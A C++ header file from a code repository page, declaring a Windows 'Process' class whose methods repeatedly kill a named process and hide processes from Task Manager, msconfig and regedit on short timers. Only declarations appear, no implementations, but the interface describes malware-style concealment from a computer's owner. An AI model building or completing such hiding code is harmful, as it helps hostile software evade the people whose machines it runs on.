-
Notifications
You must be signed in to change notification settings - Fork 9
/
Process.h
60 lines (49 loc) · 2.41 KB
/
Process.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <windows.h>
#include <tchar.h>
#include <commctrl.h>
#define ERR_PROCESSID 0
#define PROCESS_TASK_MANAGER_NAME "taskmgr.exe"
#define PROCESS_MSCONFIG_NAME "msconfig.exe"
#define PROCESS_REGEDIT_NAME "regedit.exe"
#define DEFAULT_INTERVAL_KILL 125
#define DEFAULT_INTERVAL_HIDE 25
#pragma once
class Process {
private:
char * processName;
char * patternMSConfig;
char * patternRegedit;
unsigned long PID;
unsigned long msecDelayKill;
unsigned long msecDelayHideTaskManager;
unsigned long msecDelayHideMSConfig;
unsigned long msecDelayHideRegedit;
bool quitKillProcessThread;
bool quitHideProcessTaskManagerThread;
bool quitHideProcessMSConfigThread;
bool quitHideProcessRegeditThread;
public:
Process(const char * procName, char * patternToHideMSConfig = NULL, char * patternToHideRegedit = NULL);
bool killProcess();
bool killPermanentProcess(unsigned long msecIntervalKill = DEFAULT_INTERVAL_KILL);
bool hideProcessTaskManager();
bool hidePermanentProcessTaskManager(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
bool hideProcessMSConfig();
bool hidePermanentProcessMSConfig(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
bool hideProcessRegedit();
bool hidePermanentProcessRegedit(unsigned long msecIntervalKill = DEFAULT_INTERVAL_HIDE);
void setTerminateKillProcessThread(bool value);
void setTerminateHideProcessTaskManagerThread(bool value);
void setTerminateHideProcessMSConfigThread(bool value);
void setTerminateHideProcessRegeditThread(bool value);
bool terminateKillProcessThread() { return quitKillProcessThread; }
bool terminateHideProcessTaskManagerThread() { return quitHideProcessTaskManagerThread; }
bool terminateHideProcessMSConfigThread() { return quitHideProcessMSConfigThread; }
bool terminateHideProcessRegeditThread() { return quitHideProcessRegeditThread; }
unsigned long getIntervalKill() { return msecDelayKill; }
unsigned long getIntervalTaskManagerHide() { return msecDelayHideTaskManager; }
unsigned long getIntervalMSConfigHide() { return msecDelayHideMSConfig; }
unsigned long getIntervalRegeditHide() { return msecDelayHideRegedit; }
char * getProcessName();
unsigned long getPID();
};